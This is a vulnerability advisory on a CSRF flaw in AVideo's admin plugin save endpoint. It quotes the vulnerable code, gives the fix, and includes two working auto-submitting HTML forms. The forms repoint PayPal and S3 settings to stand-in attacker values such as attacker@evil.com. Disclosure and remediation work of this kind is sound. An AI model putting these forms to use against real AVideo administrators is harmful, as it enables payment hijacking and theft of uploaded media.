AVideo's CSRF on Admin Plugin Configuration Enables Payment Credential Hijacking

Summary

AVideo's admin plugin configuration endpoint (admin/save.json.php) lacks any CSRF token validation. There is no call to isGlobalTokenValid() or verifyToken() before processing the request. Combined with the application's explicit SameSite=None cookie policy, an attacker can forge cross-origin POST requests from a malicious page to overwrite arbitrary plugin settings on a victim administrator's session.

Because the plugins table is included in the ignoreTableSecurityCheck() array in objects/Object.php, standard table-level access controls are also bypassed. This allows a complete takeover of platform functionality by reconfiguring payment processors, authentication providers, cloud storage credentials, and more.

Details

The session cookie configuration in objects/include_config.php at line 135 explicitly weakens the default browser protections:

// objects/include_config.php:135
ini_set('session.cookie_samesite', 'None');

This means cookies are attached to all cross-origin requests, making CSRF attacks trivial.

The save endpoint in admin/save.json.php directly processes POST data without any token verification:

// admin/save.json.php
$pluginName = $_POST['pluginName'];
$pluginValues = $_POST;
// ...
$pluginDO->$key = $pluginValues[$key];
$p->setObject_data(json_encode($pluginDO));
$p->save();

The plugins table is explicitly exempted from security checks in objects/Object.php at line 529:

// objects/Object.php:529
static function ignoreTableSecurityCheck() {
    return ['plugins', /* ... other tables ... */];
}

Even the ORM-level protections that exist for other tables do not apply to plugin configuration writes.

Proof of Concept

Host the following HTML on an attacker-controlled domain. When a logged-in AVideo administrator visits this page, their PayPal receiver email is silently changed to the attacker's address:

<!DOCTYPE html>
<html>
<head><title>Loading...</title></head>
<body>
<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
    <input type="hidden" name="pluginName" value="PayPerView" />
    <input type="hidden" name="paypalReceiverEmail" value="attacker@evil.com" />
</form>
<script>
    document.getElementById('csrf').submit();
</script>
</body>
</html>

To overwrite S3 storage credentials instead:

<form id="csrf" method="POST" action="https://your-avideo-instance.com/admin/save.json.php">
    <input type="hidden" name="pluginName" value="AWS_S3" />
    <input type="hidden" name="region" value="us-east-1" />
    <input type="hidden" name="bucket" value="attacker-bucket" />
    <input type="hidden" name="key" value="ATTACKER_KEY_ID" />
    <input type="hidden" name="secret" value="ATTACKER_SECRET" />
</form>

Reproduction steps:

1. Log in to AVideo as an administrator.
2. In a separate browser tab, open the attacker's HTML page.
3. The form auto-submits, overwriting the target plugin configuration.
4. Verify the change by navigating to the plugin settings page in the admin panel.

Impact

An attacker can silently reconfigure any plugin on the AVideo platform by tricking an administrator into visiting a malicious page. Exploitable configurations include:

• Payment hijacking: Change PayPal receiver email or Stripe keys to redirect all payments to the attacker.
• Credential theft: Replace S3 bucket credentials so uploaded media is sent to attacker-controlled storage.
• Authentication bypass: Modify LDAP/OAuth plugin settings to point at attacker-controlled identity providers.
• Backdoor installation: Enable and configure plugins to introduce persistent access.

This is a full platform takeover with zero user interaction beyond a single page visit.

• CWE: CWE-352 (Cross-Site Request Forgery)

Recommended Fix

Add CSRF token validation at admin/save.json.php:10, immediately after the admin check:

// admin/save.json.php:10
if (!isGlobalTokenValid()) {
    die('{"error":"Invalid CSRF token"}');
}

Found by aisafe.io